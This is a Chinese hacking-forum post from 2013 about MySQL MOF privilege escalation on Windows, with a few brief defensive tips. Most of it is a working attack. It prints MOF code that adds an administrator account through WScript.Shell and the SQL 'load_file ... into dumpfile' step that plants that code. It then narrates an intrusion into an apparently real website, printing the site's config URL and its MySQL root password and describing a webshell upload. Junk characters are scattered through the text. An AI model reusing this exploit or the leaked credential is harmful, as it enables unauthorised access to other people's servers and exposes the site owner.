找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2242|回复: 0
打印 上一主题 下一主题

Mysql mof扩展漏洞实例与防范

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:49:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Mysql mof扩展漏洞防范方法
! w  Z$ P, V; k# R+ j
$ M# ?2 ?" ^4 v. Y, h4 s$ ~网上公开的一些利用代码:
" x( m0 i  I( c* Y7 s6 u$ ~( H+ I( \/ F( B0 w( |
#pragma namespace(“\\\\.\\root\\subscription”)
3 I) _+ b# u; m4 N" K
" [' ~, p6 u9 R( z/ [6 h7 Linstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
1 Z+ ?1 `. f6 c' `# z3 K
: p$ j1 [( C6 b/ g( m* h % w0 B  A" D& E9 l
8 j; h: L% D5 j* \0 u+ F

& `" [' d' B( p8 \0 U  o5 z4 s2 _# {6 g, P. }# T/ M
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;: Y9 w% i9 Q* e
从上面代码来看得出解决办法:
) j6 P& O9 o: e8 I8 L3 m6 e- i( P3 D( z1 n0 s6 A
1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数. j# V9 [" B3 A  `3 j9 f' u
3 Q; i* I5 c5 L: f3 E. o, \( P
2、禁止使用”WScript.Shel”组件" R3 g2 R0 {5 ]2 O, F
$ N4 a9 e' K# {3 P% z* G4 [8 H
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER
$ _  @  l5 w0 l: x& [. d  U& P. G0 i4 T2 D& O3 E( l/ X
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
7 ~6 B+ G2 \& N  x1 O. y( y/ t) V1 V- r
事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权% E5 M9 T+ V# D4 x. L+ e; [# n

6 N2 \8 q' W5 V" ^) w7 @+ X/ ]但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容6 L2 D$ |* h! W( E! r

' V+ B) g" r4 W) m$ v- e# |/ V看懂了后就开始练手吧' U8 l) Q# [- s  L4 X* A

8 q: q5 _( b% L  {http://www.webbmw.com/config/config_ucenter.php 一句话 a. ~9 G9 o2 J' K+ i. }9 E

9 a9 z% \# R( X& p$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。7 {" P# p* Y# @+ j: }/ _
% t  `, w" v* _. r
于是直接用菜刀开搞
; ^/ @/ i5 d( }, b( t, ?8 I. o& Q9 A; b5 J
上马先% y, B# w$ S: g4 L

( B: E" f# H5 h6 @9 K* Q! q既然有了那些账号 之类的 于是我们就执行吧…….2 `! _7 C$ I5 R6 n- N0 m* {5 G6 L

& Z3 T) R6 o9 ]( O小小的说下
1 u& e  ^8 S1 o$ T2 ]8 ]( e7 E) e, l& g3 |7 L# `/ I& y
在这里第1次执行未成功        原因未知7 n1 b0 f# y; m  f4 x
$ M) J5 o' F8 r
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
0 [5 c- I" F2 w/ _) W% e2 ^* e* Z
  L( Z# M8 g4 V* `#pragma namespace(“\\\\.\\root\\subscription”)4 R% l) L( |7 t& _9 }: n

, E# q+ @7 j( H4 ^+ Z* |0 m8 Minstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };
  r) a. J9 r( P5 S1 }8 [3 E. B5 P% f7 W+ y; J6 ~4 }9 }4 @& ~% `2 g
我是将文件放到C:\WINDOWS\temp\1.mof% b4 U0 D* e; X& Z6 b& {9 z9 P' C
7 x+ \# u7 t# u& A1 P
所以我们就改下执行的代码1 p1 e: f6 k% u* v& A$ v0 K1 }
+ S' f) B0 O' w  u
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
; V- d& ^( M. [7 r2 y/ \' W8 t4 y7 U/ s' i& Y- ^# e7 [* V

1 Q  a2 b! {5 p3 `! h- F7 w' }2 E& D. D6 {5 s( b+ V. ~7 |
但是 你会发现账号还是没有躺在那里。。
5 |" Z/ m6 z2 E' D
2 H& C* |, B& Q) W8 W( M: B于是我就感觉蛋疼
, i$ z: W9 i3 B4 m
4 t0 N) Y' V! s2 Z( L4 C就去一个一个去执行 但是执行到第2个 mysql时就成功了………  ?& v2 ~" e* Z! `( g

+ G- t0 ?2 J  Z) K$ _2 e6 E2 P9 U' Z2 o/ p5 Z
8 H: x. n$ w& |
但是其他库均不成功…+ |, t% c* W% C

5 c! M' E1 o2 N7 ?& s我就很费解呀 到底为什么不成功求大牛解答…% j1 j7 a- O8 }: U3 Q2 x
+ O+ w# A# }% P* Q+ O
! I( [# Y4 F9 a9 Z9 b$ R0 q/ j

( D9 @4 Z0 j) y2 P+ T. r  l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表